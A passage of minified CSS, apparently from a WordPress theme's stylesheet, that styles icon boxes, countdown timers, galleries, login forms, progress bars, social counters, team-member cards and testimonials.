.penci-ibox-icon:after,.penci-view-framed .penci-animation-custom-5 .penci-ibox-icon:after{content:"";pointer-events:none;position:absolute;top:0;left:0;width:100%;height:100%;padding:0;transition:transform .2s,opacity .2s;opacity:0}.penci-view-framed .penci-animation-custom-1 .penci-ibox-icon:after{background:#818a91;z-index:-1;transform:scale(1.3)}.penci-view-framed .penci-animation-custom-1 .penci-ibox-icon:hover{color:#fff}.penci-view-framed .penci-animation-custom-1:hover .penci-ibox-icon:after{transform:scale(1);opacity:1}.penci-view-framed .penci-animation-custom-2 .penci-ibox-icon:after{z-index:10;border:3px dashed #818a91;top:-3px;left:-3px;right:-3px;bottom:-3px;width:auto;height:auto;opacity:1}.penci-view-framed .penci-animation-custom-2 .penci-ibox-icon:hover{border-color:transparent!important}.penci-view-framed .penci-animation-custom-3 .penci-ibox-icon{box-shadow:0 0 0 4px rgba(255,255,255,1);overflow:hidden;transition:background .3s,color .3s,box-shadow .3s}.penci-view-framed .penci-animation-custom-3:hover .penci-ibox-icon--i{-webkit-animation:penciIconToRightFromLeft .3s forwards;-moz-animation:penciIconToRightFromLeft .3s forwards;animation:penciIconToRightFromLeft .3s forwards}@-webkit-keyframes penciIconToRightFromLeft{49%{-webkit-transform:translate(100%)}50%{opacity:0;-webkit-transform:translate(-100%)}51%{opacity:1}}@keyframes penciIconToRightFromLeft{49%{transform:translate(100%)}50%{opacity:0;transform:translate(-100%)}51%{opacity:1}}@-webkit-keyframes penciIconspinAround{from{-webkit-transform:rotate(0)}to{-webkit-transform:rotate(360deg)}}@keyframes penciIconspinAround{from{transform:rotate(0)}to{transform:rotate(360deg)}}.penci-view-framed .penci-animation-custom-4:hover .penci-ibox-icon--i{-webkit-animation:penciIconspinAround 2s linear infinite;-moz-animation:penciIconspinAround 2s linear infinite;animation:penciIconspinAround 2s linear infinite}.penci-view-framed .penci-animation-custom-5 .penci-ibox-icon:after{z-index:10;border:3px solid #818a91;top:-3px;left:-3px;right:-3px;bottom:-3px;width:auto;height:auto;opacity:1}.penci-view-framed .penci-animation-custom-5:hover{border-color:transparent!important;box-shadow:0 0 0 6px #818a91}.penci-view-framed .penci-animation-custom-5:hover .penci-ibox-icon:after{-webkit-transform:scale(.85);-moz-transform:scale(.85);-ms-transform:scale(.85);transform:scale(.85);opacity:.5}.penci-countdown-bsc{overflow:hidden}.penci-countdown-bsc:after,.penci-countdown-bsc:before{content:"";display:table;clear:both}.penci-countdown-bsc.penci-style-center{text-align:center}.penci-countdown-bsc.penci-style-right{text-align:right}.penci-countdown-bsc.penci-border-solid .penci-countdown-amount{border-style:solid}.penci-countdown-bsc.penci-border-dashed .penci-countdown-amount{border-style:dashed}.penci-countdown-bsc.penci-border-dotted .penci-countdown-amount{border-style:dotted}.penci-countdown-bsc.penci-border-double .penci-countdown-amount{border-style:double}.penci-countdown-rtl{direction:rtl}.penci-countdown-holding span{color:#888}.penci-countdown-row{clear:both;width:100%;padding:0;display:block;margin:-30px auto 0}.penci-countdown-show1 .penci-countdown-section{width:100%}.penci-countdown-show2 .penci-countdown-section{width:50%}.penci-countdown-show3 .penci-countdown-section{width:33.3333%}.penci-countdown-show4 .penci-countdown-section{width:25%}.penci-countdown-show5 .penci-countdown-section{width:20%}.penci-countdown-show6 .penci-countdown-section{width:16.6666667%}.penci-countdown-show7 .penci-countdown-section{width:14.2857143%}.penci-countdown-section{display:block;float:left;font-size:75%;padding:30px 15px 0}.penci-countdown-s1.penci-style-left .penci-countdown-section{padding-left:0}.penci-countdown-s1.penci-style-right .penci-countdown-section{padding-right:0}.penci-countdown-amount{font-size:90px;color:#111;font-family:var(--pchead-font);-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box;min-width:1em;max-width:100%;min-height:1em;line-height:1em;display:inline-block}.penci-countdown-s1 .penci-countdown-period{display:block;vertical-align:top}.penci-countdown-period{display:inline-block;padding:0 4px;font-size:20px;color:#111;line-height:1;margin-top:5px}.penci-period-upper .penci-countdown-period{text-transform:uppercase}.penci-countdown-descr{display:block;width:100%}.penci-countdown-s2 .penci-countdown-row,.penci-countdown-s3 .penci-countdown-row,.penci-countdown-s4 .penci-countdown-row{margin-left:-15px;margin-right:-15px;width:calc(100% + 30px)}.penci-countdown-s2 .penci-countdown-section,.penci-countdown-s3 .penci-countdown-section,.penci-countdown-s4 .penci-countdown-section{position:relative}.penci-countdown-s2 .penci-countdown-section:before,.penci-countdown-s3 .penci-countdown-section:before,.penci-countdown-s4 .penci-countdown-section:before{content:"";padding-top:100%;display:block}.penci-countdown-s2 .penci-span-inner,.penci-countdown-s3 .penci-span-inner,.penci-countdown-s4 .penci-span-inner{border-width:1px;border-style:solid;border-radius:5px;overflow:hidden;position:absolute;top:30px;left:15px;right:15px;bottom:0;display:flex;align-items:center;justify-content:center;flex-direction:column}.penci-countdown-s2 .penci-countdown-amount,.penci-countdown-s3 .penci-countdown-amount,.penci-countdown-s4 .penci-countdown-amount{font-size:70px}.penci-countdown-s2 .penci-countdown-period,.penci-countdown-s3 .penci-countdown-period,.penci-countdown-s4 .penci-countdown-period{margin-bottom:15px}.penci-countdown-s2 .penci-span-inner span,.penci-countdown-s3 .penci-span-inner span,.penci-countdown-s4 .penci-span-inner span{display:block}.penci-countdown-s2 .penci-span-inner{border-color:var(--pcaccent-cl)}.penci-countdown-s3 .penci-span-inner{border-color:#f5f5f5;background-color:#f5f5f5;border-radius:50%}.penci-countdown-s4 .penci-span-inner{border:0;background:#fff;border-radius:50%;box-shadow:0 0 30px 0 rgba(0,0,0,.1)}.penci-cup_icon{font-size:80px;display:inline-block;font-weight:700;text-align:center;line-height:1;margin-bottom:12px}.penci-cup-number-wrapper{font-size:50px;line-height:50px;margin-bottom:5px;color:#111;display:inline-block}.penci-cup-number-wrapper .penci-span-inner{display:flex;align-items:center}.penci-counter-up .penci-cup-label{font-size:70%;line-height:100%}.penci-counter-up .penci-counterup-number{margin-left:5px;margin-right:5px}.penci-counter-up .penci-cup-title{font-family:var(--pchead-font);font-style:normal;font-weight:var(--pchead-wei);font-size:24px;margin-top:5px}.penci-counterup-center{text-align:center}.penci-counterup-right{text-align:right;float:right}.penci-counterup-left{text-align:left}.penci-counter-up.penci-style-s2 .penci-counter-up_inner{display:flex;align-items:center}.penci-style-s2 .penci-cup_icon{margin-right:15px}.penci-image-not-caption .caption{display:none!important}.penci-image-gallery-s2 .penci-block_content,.penci-image-gallery-s3 .penci-block_content{display:flex;flex-wrap:wrap}.penci-image-gallery .pencisc-grid{grid-column-gap:0;grid-row-gap:0}.penci-image-gallery .caption{position:absolute;bottom:0;background-color:#000;left:0;right:0;margin:0;color:#fff;font-size:12px;font-family:sans-serif;font-weight:inherit;padding:9px 15px;line-height:1.5;background:rgba(0,0,0,.6);opacity:0;transition:all .3s;z-index:20}.penci-gallery-item:hover .caption{opacity:1}.penci-gallery-item i{font-size:25px;width:1em;height:1em;margin-left:-.5em;margin-top:-.5em;color:#fff;position:absolute;top:50%;left:50%;z-index:20;transition:all .4s;opacity:0;visibility:visible;transform:scale(.7)}.penci-gallery-item a::after{content:"";background:var(--pcaccent-cl);width:100%;height:100%;position:absolute;top:0;bottom:0;left:0;right:0;z-index:10;transition:all .3s;visibility:visible;opacity:0}.penci-gallery-item:hover i{opacity:1;visibility:visible;transform:scale(1)}.penci-gallery-item a:hover:after{opacity:.6;visibility:visible}.penci-image-gallery-s2 .penci-galitem-1{width:50%;float:left}.penci-image-gallery-s2 .penci-post-smalls,.penci-image-gallery-s2 .penci-post-smalls .penci-gallery-item{width:50%;float:left}.penci-image-gallery-s3 .penci-gallery-big-item,.penci-image-gallery-s4 .penci-gallery-big-item{width:50%;float:left}.penci-image-gallery-s3 .penci-gallery-small-item,.penci-image-gallery-s4 .penci-gallery-small-item{width:33.3333%;float:left}.penci-login-register input[type=email],.penci-login-register input[type=number],.penci-login-register input[type=password],.penci-login-register input[type=submit],.penci-login-register input[type=text]{max-width:100%;width:100%}.penci-login-register p,.post-entry .penci-login-register p{margin-bottom:0}.penci-login-register p.login-submit{margin:28px 0 0;clear:both}.penci-loginform-extra{margin-top:15px}.penci-loginform-extra a:first-child{margin-right:10px}.penci-login-form .penci-user-logged-in{text-align:center}.penci-user-logged-in .penci-login-header img{border-radius:50%;width:85px;height:85px}.penci-user-logged-in .penci-login-header{text-align:center;margin-bottom:15px}.penci-user-logged-in .penci-text-hello{opacity:.75}.penci-user-logged-in .penci-display_name{font-weight:700}.penci-user-logged-in .penci-user-action-links a{display:inline-block;text-decoration:none;line-height:30px;height:30px;font-weight:400;text-transform:none;font-size:13px;float:left;width:48%;font-family:var(--pchead-font);background:#f5f5f5;border-radius:0;color:#313131;transition:.3s;cursor:pointer;text-align:center;margin:0;padding:0;max-width:100%}.penci-user-logged-in .penci-user-action-links a:hover{color:#fff;background:var(--pcaccent-cl)}.penci-user-logged-in .penci-user-action-links i{margin-right:5px}.penci-user-logged-in .penci-user-action-links a:first-child{margin-right:4%}.penci-login-register .penci-login-wrap.hidden,.penci-login-register .penci-register-wrap.hidden{display:none}.penci-login-register input.invalid{border-color:red!important}.penci-login-register .message-error{color:#a94442;background:#f2dede}.penci-login-register .message-success{color:#3c763d;background:#dff0d8}.penci-login-register .message{display:block;margin-top:10px;padding:5px 15px;text-align:left;clear:both}.penci-block_content{position:relative}.penci-block_content .penci-loading-icon{display:none}.penci-block_content.ajax-loading .penci-loading-icon{position:absolute;top:0;bottom:0;right:0;left:0;display:flex;align-items:center;justify-content:center}.penci-block_content.ajax-loading .penci-login-wrap,.penci-block_content.ajax-loading .penci-register-wrap{opacity:.3}.penci-mailchimp-s1 .mc4wp-form,.penci-mailchimp-s1 .widget input,.penci-mailchimp-s4 .mc4wp-form{max-width:100%}.penci-mailchimp-s2 .penci-header-signup-form{margin:0;padding:20px}.penci-mailchimp-s3 .footer-subscribe .mc4wp-form{max-width:540px;margin:0 auto}.penci-mailchimp-block .mc4wp-form input[type=submit]:not(:hover){background:#313131;color:#fff}.penci-working-hours .penci-workingh-lists ul{margin:0;padding:0}.penci-working-hours .penci-workingh-lists li{list-style:none;line-height:30px;color:#666;margin-left:0;font-size:15px}.penci-working-hours .penci-workingh-lists li:last-child{margin-bottom:0!important;padding-bottom:0!important}.penci-working-hours .penci-workingh-lists .penci-workingh-item-inner{position:relative;overflow:hidden}.penci-working-hours .penci-workingh-lists .penci-workingh-line1{display:flex;align-items:flex-start}.penci-working-hours .penci-workingh-lists .penci-icontitle{flex:1;overflow:hidden}.penci-working-hours .penci-workingh-lists .penci-listitem-icon{font-size:14px;padding-right:10px;padding-left:1px}.penci-working-hours .penci-workingh-lists .penci-listitem-title{font-weight:700;position:relative;line-height:1.3}.penci-working-hours .penci-workingh-lists .penci-listitem-title:before{content:"";border-top:1px dotted;position:absolute;bottom:20%;left:100%;margin-left:10px;width:2000px;opacity:.7}.penci-working-hours .penci-workingh-lists .penci-listitem-hours{float:right;z-index:1;position:relative;padding-left:10px}.penci-working-hours .penci-workingh-lists .penci-listitem-subtitle{display:block;line-height:1.3;margin-bottom:5px}.penci-working-hours .penci-workingh-lists .penci-listitem-hours,.penci-working-hours .penci-workingh-lists .penci-listitem-title,.penci-working-hours .penci-workingh-lists .penci-workingh-icon{line-height:inherit;color:inherit}.penci-progress-bar .penci-probar-items{margin:0;padding:0}.penci-progress-bar .penci-probar-items li{list-style:none;margin-left:0;margin-bottom:20px}.penci-progress-bar .penci-probar-items li:last-child{margin-bottom:0!important}.penci-progress-bar .penci-probar-items .penci-probar-text{line-height:1.3;color:#111}.penci-progress-bar .penci-probar-items .penci-probar-point{font-weight:700;text-transform:uppercase}.penci-progress-bar .penci-probar-items .penci-probar-score{float:right;text-align:right}.penci-progress-bar .penci-probar-items .penci-review-process{margin-top:10px;overflow:hidden}.penci-progress-bar .penci-review-process{display:block;height:13px;background-color:#e6e6e6;width:100%;margin-top:5px}.penci-progress-bar .penci-review-process span{display:block!important;height:100%;width:0;background-color:var(--pcaccent-cl)}.penci-progress-bar .penci-probar-animated{transition:width 1s linear;-moz-transition:width 1s linear;-webkit-transition:width 1s linear;-o-transition:width 1s linear;-webkit-animation:progress-bar-stripes 2s linear infinite;-moz-animation:progress-bar-stripes 2s linear infinite;-ms-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.penci-progress-bar .penci-probar-striped{background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(.25,rgba(255,255,255,.15)),color-stop(.25,transparent),color-stop(.5,transparent),color-stop(.5,rgba(255,255,255,.15)),color-stop(.75,rgba(255,255,255,.15)),color-stop(.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);-webkit-background-size:40px 40px;-moz-background-size:40px 40px;-o-background-size:40px 40px;background-size:40px 40px}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-moz-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-ms-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:0 0}to{background-position:40px 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.pcsoc-wrapper-outside{width:100%;display:block;clear:both}.pcsoc-wrapper{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;flex-direction:column;--pcsoc-space:10px;--pcsoc-bspace:10px;flex-direction:row;margin-left:calc(var(--pcsoc-space) * -1 / 2);margin-right:calc(var(--pcsoc-space) * -1 / 2)}.pcsocs-s4{justify-content:center}.pcsoc-wrapper .pcsoc-item{color:var(--pctext-cl);text-decoration:none!important;line-height:38px;display:-ms-flexbox;display:-ms-flexbox;display:block;font-size:14px;transition:background-color .3s,border-color .3s,opacity .3s,color .3s;--pcsci-bg:#f5f5f5;--pcsci-hbg:#ccc;--pcsci-border:var(--pcborder-cl)}.pcsoc-wrapper .pcsoc-item:after,.pcsoc-wrapper .pcsoc-item:before{clear:both;content:"";display:table}.pcsoc-wrapper .pcsoc-icon{font-size:16px}.pcsoc-wrapper .pcsoc-counter{font-size:inherit;font-weight:700;margin-right:5px;text-transform:uppercase}.pcsoc-wrapper.pcsocs-s3 .pcsoc-counter.pcsoc-socname,.pcsoc-wrapper.pcsocs-s4 .pcsoc-counter.pcsoc-socname{text-transform:capitalize}.pcsoc-wrapper .pcsoc-fan{font-size:inherit}.pcsoc-wrapper .pcsoc-item{background:var(--pcsci-bg);margin-bottom:var(--pcsoc-bspace)}.pcsoc-wrapper .pcsoc-item-wrap:last-child .pcsoc-item{margin-bottom:0}.pcsoc-wrapper.pcsocs-s1,.pcsoc-wrapper.pcsocs-s2{white-space:nowrap}.pcsoc-wrapper .pcsoc-item:hover{background:var(--pcsci-hbg)}.pcsoc-wrapper.pcsocs-s1 .pcsoc-icon,.pcsoc-wrapper.pcsocs-s2 .pcsoc-icon{width:40px;text-align:center;line-height:inherit;display:inline-block;float:left}.pcsoc-wrapper.pcsocs-s1 .pcsoc-like,.pcsoc-wrapper.pcsocs-s2 .pcsoc-like{float:right;margin:0 10px}.pcsoc-wrapper.pcsocs-s2 .pcsoc-item,.pcsoc-wrapper.pcsocs-s4 .pcsoc-item{background:0 0}.pcsocs-s2 .pcsoc-icon{background:var(--pcsci-bg);margin-right:15px;transition:background-color .3s,color .3s,border-color .3s}.pcsoc-wrapper .pcsoc-item-wrap{padding-left:calc(var(--pcsoc-space)/ 2);padding-right:calc(var(--pcsoc-space)/ 2)}.pcsoc-wrapper.pcsocs-s3 .pcsoc-item-wrap,.pcsoc-wrapper.pcsocs-s4 .pcsoc-item-wrap{flex:0 0 33.33333%;align-items:center;text-align:center}.pcsoc-wrapper.pcsocs-s4{--pcsoc-space:20px;--pcsoc-bspace:20px}.pcsoc-wrapper.pcsocs-s4 .pcsoc-item-wrap{flex:unset}.pcsoc-wrapper.pcsocs-s3 .pcsoc-item{line-height:1;padding:12px 1px}.pcsoc-wrapper.pcsocs-s3 .pcsoc-item.empty-count{min-height:calc(100% - 10px);justify-content:center;display:flex;align-items:center;flex-direction:column}.pcsoc-wrapper.pcsocs-s4 .pcsoc-item{line-height:1}.pcsocs-s3 .pcsoc-item>span,.pcsocs-s4 .pcsoc-item>span{display:block;margin-left:0;margin-right:0}.pcsocs-s4 .pcsoc-item>span{margin-left:auto;margin-right:auto}.pcsoc-wrapper.pcsocs-s3 .pcsoc-icon{font-size:28px;line-height:32px}.pcsoc-icon i,.pcsoc-icon i[class*=" penciicon-"],.pcsoc-icon i[class^=penciicon-]{display:block;line-height:inherit;vertical-align:top}.pcsoc-wrapper.pcsocs-s3 .pcsoc-counter{margin-top:6px;font-size:18px}.pcsoc-wrapper.pcsocs-s3 .pcsoc-fan{margin-top:6px;font-size:12px}.pcsocs-s4 .pcsoc-icon{width:60px;height:60px;display:inline-block;vertical-align:top;line-height:60px;background:var(--pcsci-bg);transition:background-color .3s,color .3s,border-color .3s;font-size:22px}.pcsocs-s2 .pcsoc-item:hover>.pcsoc-icon,.pcsocs-s4 .pcsoc-item:hover>.pcsoc-icon{background:var(--pcsci-hbg)}.pcsoc-wrapper.pcsocs-s4 .pcsoc-counter{font-size:18px;margin-top:10px}.pcsoc-wrapper.pcsocs-s4 .pcsoc-fan{font-size:12px;margin-top:4px}.pcsocs-round.pcsocs-s1 .pcsoc-item,.pcsocs-round.pcsocs-s2 .pcsoc-icon,.pcsocs-round.pcsocs-s3 .pcsoc-item,.pcsocs-round.pcsocs-s4 .pcsoc-icon{border-radius:8px}.pcsocs-circle.pcsocs-s1 .pcsoc-item,.pcsocs-circle.pcsocs-s2 .pcsoc-icon,.pcsocs-circle.pcsocs-s3 .pcsoc-item,.pcsocs-circle.pcsocs-s4 .pcsoc-icon{border-radius:800px}.pcsocf-border .pcsc-brandflag{border:1px solid var(--pcsci-border);background:0 0}@media only screen and (min-width:1025px){.pcsoc-wrapper.pcsocc-1 .pcsoc-item-wrap{flex:0 0 100%}.pcsoc-wrapper.pcsocc-2 .pcsoc-item-wrap{flex:0 0 50%}.pcsoc-wrapper.pcsocc-3 .pcsoc-item-wrap{flex:0 0 33.3333%}.pcsoc-wrapper.pcsocc-4 .pcsoc-item-wrap{flex:0 0 25%}.pcsocc-2 .pcsoc-item-wrap:nth-last-child(2) .pcsoc-item,.pcsocc-3 .pcsoc-item-wrap:nth-last-child(2) .pcsoc-item,.pcsocc-3 .pcsoc-item-wrap:nth-last-child(3) .pcsoc-item,.pcsocc-4 .pcsoc-item-wrap:nth-last-child(2) .pcsoc-item,.pcsocc-4 .pcsoc-item-wrap:nth-last-child(3) .pcsoc-item,.pcsocc-4 .pcsoc-item-wrap:nth-last-child(4) .pcsoc-item{margin-bottom:0}}@media only screen and (max-width:1024px){.pcsoc-wrapper.pcsocc-tabcol-1 .pcsoc-item-wrap{flex:0 0 100%}.pcsoc-wrapper.pcsocc-tabcol-2 .pcsoc-item-wrap{flex:0 0 50%}.pcsoc-wrapper.pcsocc-tabcol-3 .pcsoc-item-wrap{flex:0 0 33.3333%}.pcsoc-wrapper.pcsocc-tabcol-4 .pcsoc-item-wrap{flex:0 0 25%}.pcsocc-tabcol-2 .pcsoc-item-wrap:nth-last-child(2) .pcsoc-item,.pcsocc-tabcol-3 .pcsoc-item-wrap:nth-last-child(2) .pcsoc-item,.pcsocc-tabcol-3 .pcsoc-item-wrap:nth-last-child(3) .pcsoc-item,.pcsocc-tabcol-4 .pcsoc-item-wrap:nth-last-child(2) .pcsoc-item,.pcsocc-tabcol-4 .pcsoc-item-wrap:nth-last-child(3) .pcsoc-item,.pcsocc-tabcol-4 .pcsoc-item-wrap:nth-last-child(4) .pcsoc-item{margin-bottom:0}}@media only screen and (max-width:479px){.pcsoc-wrapper.pcsocc-mocol-1 .pcsoc-item-wrap{flex:0 0 100%}.pcsoc-wrapper.pcsocc-mocol-2 .pcsoc-item-wrap{flex:0 0 50%}.pcsoc-wrapper.pcsocc-mocol-3 .pcsoc-item-wrap{flex:0 0 33.3333%}.pcsocc-mocol-2 .pcsoc-item-wrap:nth-last-child(2) .pcsoc-item,.pcsocc-mocol-3 .pcsoc-item-wrap:nth-last-child(2) .pcsoc-item,.pcsocc-mocol-3 .pcsoc-item-wrap:nth-last-child(3) .pcsoc-item{margin-bottom:0}}.pcsoccl-brandbg .pcsc-brandflag,.pcsoccl-brandbg .pcsc-brandflag i,.pcsoccl-brandbg .pcsc-brandflag span{color:#fff!important;border:none!important}.pcsocshadow .pcsc-brandflag{box-shadow:0 1px 2px rgba(0,0,0,.075)}.pcsoccl-brandbg.pcsocs-s1 .pcsoc-item:hover,.pcsoccl-brandbg.pcsocs-s2 .pcsoc-item:hover .pcsoc-icon,.pcsoccl-brandbg.pcsocs-s3 .pcsoc-item:hover,.pcsoccl-brandbg.pcsocs-s4 .pcsoc-item:hover .pcsoc-icon{opacity:.8}.pcsoc-wrapper-outside.source-customizer .pcsoc-wrapper.pcsocs-s3 .pcsoc-item.empty-count{flex-direction:column;min-height:unset}.pcsoc-wrapper-outside.source-customizer .pcsoc-wrapper.pcsocs-s3 .pcsoc-counter,.pcsoc-wrapper-outside.source-customizer .pcsoc-wrapper.pcsocs-s4 .pcsoc-counter{font-size:14px;font-weight:400}.penci-teammb-bsc{text-align:center;--pcteammb-w:28px}.penci-teammb-item{overflow:hidden}.penci-teammb-bsc .penci-teammb-inner{padding:30px 15px}.penci-teammb-s1 .penci-teammb-inner{border:1px solid #dedede}.penci-teammb-s1 .penci-teammb-img,.penci-teammb-s2 .penci-teammb-img{width:150px;height:150px;border-radius:50%;max-width:100%;margin-bottom:21px}.penci-teammb-s1 .penci-teammb-img:before,.penci-teammb-s2 .penci-teammb-img:before{padding-top:100%}.penci-teammb-bsc .penci-team_member_name{font-size:20px;margin-top:10px;margin-bottom:0}.penci-team_member_desc{margin-top:15px;line-height:1.5}.penci-team_member_socails{margin-top:7px;overflow:hidden}.penci-team_member_pos{color:#999;line-height:1;margin-top:10px}.penci-teammb-bsc .penci-team_member_socails{display:flex;align-items:center;justify-content:center;flex-wrap:wrap;line-height:1}.penci-teammb-bsc .penci-team_member_socails .penci-social-item{margin:8px 8px 0 8px;text-decoration:none}.pcteam-shape .penci-team_member_socails .penci-social-item{margin-left:5px;margin-right:5px}.pcteam-shape .penci-social-item i{width:var(--pcteammb-w);height:var(--pcteammb-w);display:inline-flex;align-items:center;justify-content:center;vertical-align:top;transition:all .3s;border:1px solid transparent}.pcsc-shape-round .penci-social-item i{border-radius:6px}.pcsc-shape-circle .penci-social-item i{border-radius:50%}.pcsc-st-filled .penci-social-item i{background:#ececec;color:var(--pctext-cl)}.pcsc-st-bordered .penci-social-item i{border-color:var(--pcborder-cl);color:var(--pctext-cl)}.penci-social-colored .penci-social-item i{color:#fff!important;border:none!important}.penci-teammb-bsc .penci-team_member_socails .penci-social-item:first-child{margin-left:0!important}.penci-teammb-bsc .penci-team_member_socails .penci-social-item:last-child{margin-right:0!important}.penci-teammb-s2 .penci-teammb-inner{background-color:#f5f5f5;border:none;border-radius:15px;padding-top:40px;padding-bottom:40px}.penci-teammb-s3 .penci-teammb-inner{background-color:#f5f5f5;padding:0}.penci-teammb-s3 .penci-teammb-img{width:100%;display:block}.penci-teammb-s3 .penci-teammb-img:before{padding-top:66.6667%}.penci-teammb-s3 .penci-team_item__info{padding:15px 20px 30px}.penci-teammb-s4 .penci-teammb-inner{background-color:#fff;box-shadow:0 15px 30px 0 rgba(0,0,0,.1);padding:0;position:relative}.penci-teammb-s4 .penci-teammb-img:before{padding-top:120%}.penci-teammb-s4 .penci-team_item__info{padding:20px 10px 20px;position:absolute;bottom:0;left:0;right:0;z-index:100;transform:translateY(35px);transition:all .3s}.penci-teammb-s4 .penci-social-wrap .penci-social-item{width:auto;height:auto;background:0 0!important}.penci-teammb-s4 .penci-team_member_desc{color:#fff;margin-top:10px}.penci-teammb-s4 .penci-social-wrap .penci-social-item,.penci-teammb-s4 .penci-team_member_name,.penci-teammb-s4 .penci-team_member_pos{color:#fff}.penci-teammb-s4 .penci-team_member_socails .penci-social-item{margin-right:10px;margin-left:10px;font-size:15px}.penci-teammb-s4 .penci-social-wrap .penci-social-item:hover{color:var(--pcaccent-cl)}.penci-teammb-s4 .penci-teammb-img:after{content:"";position:absolute;top:0;left:0;width:100%;height:100%;background:#000;z-index:1;bottom:0;right:0;background:linear-gradient(to bottom,transparent 50%,#000 90%);opacity:.6;transition:opacity .3s}.penci-teammb-s4 .penci-teammb-item:hover .penci-team_item__info,.penci-teammb-s5 .penci-teammb-item .penci-team_item__info{transform:translateY(0)}.penci-teammb-s4.penci-teammb-bsc .penci-team_member_socails{opacity:0;transition:opacity .3s}.penci-teammb-s4 .penci-teammb-item:hover .penci-team_member_socails,.penci-teammb-s5 .penci-teammb-item .penci-team_member_socails{opacity:1}.penci-testimonail{text-align:center;position:relative}.penci-smalllist.penci-testimonails{--pcsl-hgap:30px;--pcsl-bgap:30px;--pcsl-between:30px}.penci-testimonail .penci-testi-bq-icon:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.penci-testi-s1 .penci-testimonail .penci-testi-blockquote{font-size:23px;font-weight:500;font-style:italic;line-height:1.5;color:#111;clear:both;position:relative;text-align:center;background-color:#f5f5f5;padding:39px 30px 35px;margin-top:24px}.penci-testi-s1 .penci-testimonail .penci-testi-bq-icon{width:48px;height:48px;position:absolute;top:-24px;left:50%;margin-left:-24px}.penci-testi-bq-icon:before{content:"\f101";font-family:penciicon;font-weight:400;font-style:normal}.penci-testi-s1 .penci-testimonail .penci-testi-bq-icon:before{display:block;text-align:center;border-radius:50%;margin:0;width:48px;height:48px;font-size:21px;line-height:48px;background-color:var(--pcaccent-cl);color:#fff;z-index:2}.penci-testi-rating{color:#ffb74d;font-size:18px;line-height:1;margin-top:15px}.penci-testi-rating i:not(:last-child){margin-right:3px}.penci-testi-blockquote{line-height:1.5}.penci-testi-avatar{width:60px;height:60px;border-radius:50%;overflow:hidden;margin:25px auto 0;background:#e6e9ec}.penci-testi-s4 .penci-testi-avatar{margin-top:0}.penci-testi-s4 .penci-testi-blockquote{margin-top:12px;position:relative}.penci-testimonails .penci-testi-avatar img{width:100%;height:100%;display:block;object-fit:cover}.penci-testi-name,.post-entry h3.penci-testi-name{font-size:16px;margin-top:18px;margin-bottom:0}.penci-testi-company{font-size:13px;margin-top:10px;line-height:1.3;color:var(--pcmeta-cl)}.penci-testi-company .testiname{font-weight:700;color:var(--pctext-cl)}.penci-testi-company span:last-child{margin-left:5px}.penci-testi-s2 .penci-testimonail{text-align:left}.penci-testi-s2 .penci-testimonail .penci-testi-blockquote{border:1px solid var(--pcborder-cl);background-color:var(--pcbg-cl);border-radius:15px;padding:30px 30px 56px}.penci-testi-s2 .penci-testimonail .penci-testi-bq-icon:before{display:block;text-align:left;border-radius:50%;margin:0;width:48px;height:48px;font-size:42px;line-height:48px;z-index:2;color:var(--pcaccent-cl)}.penci-testi-s2 .penci-testi-avatar{margin-left:30px;margin-top:-30px;position:relative;z-index:10}.penci-testi-s2 .penci-testi-rating{margin-top:5px}.penci-testi-s2 .penci-testi-company,.penci-testi-s2 .penci-testi-name{margin-left:30px}.penci-testi-s3 .penci-testimonail .penci-testi-bq-icon:before{display:block;text-align:center;border-radius:50%;margin:0 auto;width:48px;height:48px;font-size:21px;line-height:48px;z-index:2;border:2px solid var(--pcaccent-cl);color:var(--pcaccent-cl)}.penci-testi-s3 .penci-testi-bq-icon{margin-bottom:16px;display:block}.penci-testi-s3 .penci-testimonail .penci-testi-blockquote{font-size:23px;font-style:italic;line-height:1.5;color:#111;clear:both;position:relative;text-align:center}.penci-testi-s3 .penci-testi-name{text-transform:uppercase;color:var(--pcaccent-cl)}.penci-testi-s4.penci-testimonails{overflow:visible}.penci-testi-s4 .pc-testiinner{padding:20px;box-shadow:0 0 4px rgba(0,0,0,.15)}.pctesti-head,.penci-testi-s4.pcimgpos-left .pc-testiinner,.penci-testi-s4.pcimgpos-right .pc-testiinner{display:flex;align-items:flex-start;flex-direction:row}.pctesti-head{align-items:center}.penci-testi-s4.pcimgpos-right .pc-testiinner{flex-direction:row-reverse}.pcimgpos-left .penci-testi-rating,.pcimgpos-right .penci-testi-rating{margin-top:0}.pctesti-head .pc-testiava,.penci-testi-s4 .pc-testiava{flex:0 0 auto}.pctesti-head .pctesticont,.penci-testi-s4 .pctesticont{flex:1 1 auto}.penci-testi-s4.pcimgpos-left .pctesticont{text-align:left}.penci-testi-s4.pcimgpos-right .pctesticont{text-align:right}.pctesti-head .pc-testiava,.penci-testi-s4.pcimgpos-left .pc-testiava{margin-right:20px}.penci-testi-s4.pcimgpos-right .pc-testiava{margin-left:20px}.penci-testi-s4 .owl-stage-outer,.penci-testi-s4 .penci-owl-carousel:not(.penci-owl-loaded){padding-top:6px;padding-bottom:6px}.penci-testi-s4 .penci-testi-bq-inner,.penci-testi-s5 .penci-testi-bq-inner{position:relative}.penci-testi-s4 